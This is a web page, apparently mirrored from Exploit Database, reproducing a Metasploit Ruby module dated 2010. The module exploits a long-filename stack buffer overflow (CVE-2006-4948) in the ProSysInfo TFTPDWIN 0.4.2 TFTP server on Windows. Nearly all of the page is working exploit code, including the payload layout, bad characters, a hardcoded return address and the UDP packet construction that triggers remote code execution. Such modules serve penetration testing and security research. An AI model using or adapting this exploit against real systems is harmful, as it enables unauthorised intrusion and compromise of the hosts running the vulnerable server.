ProSysInfo TFTP server TFTPDWIN 0.4.2 – ‘Filename’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16346/

• ##
  # $Id: tftpdwin_long_filename.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow',
  			'Description'=> %q{
  					This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending
  				an overly long file name to the tftpd.exe server, the stack can be overwritten.
  			},
  			'Author' 	 => [ 'patrick' ],
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-4948' ],
  					[ 'OSVDB', '29032' ],
  					[ 'BID', '20131' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/3132' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 284,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Patrick - Tested OK 2007/10/02 w2ksp0, w2ksp4, xpsp0, xpsp2 en
  					[ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ] # pop edx / ret tftpd.exe
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Sep 21 2006',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				Opt::RPORT(69),
  			], self)
  	end
  
  	def exploit
  		connect_udp
  
  		print_status("Trying target #{target.name}...")
  		sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V')
  		sploit << "netascii\x00" # The first null byte is borrowed for the target return address :)
  		udp_sock.put(sploit)
  
  		disconnect_udp
  	end
  
  end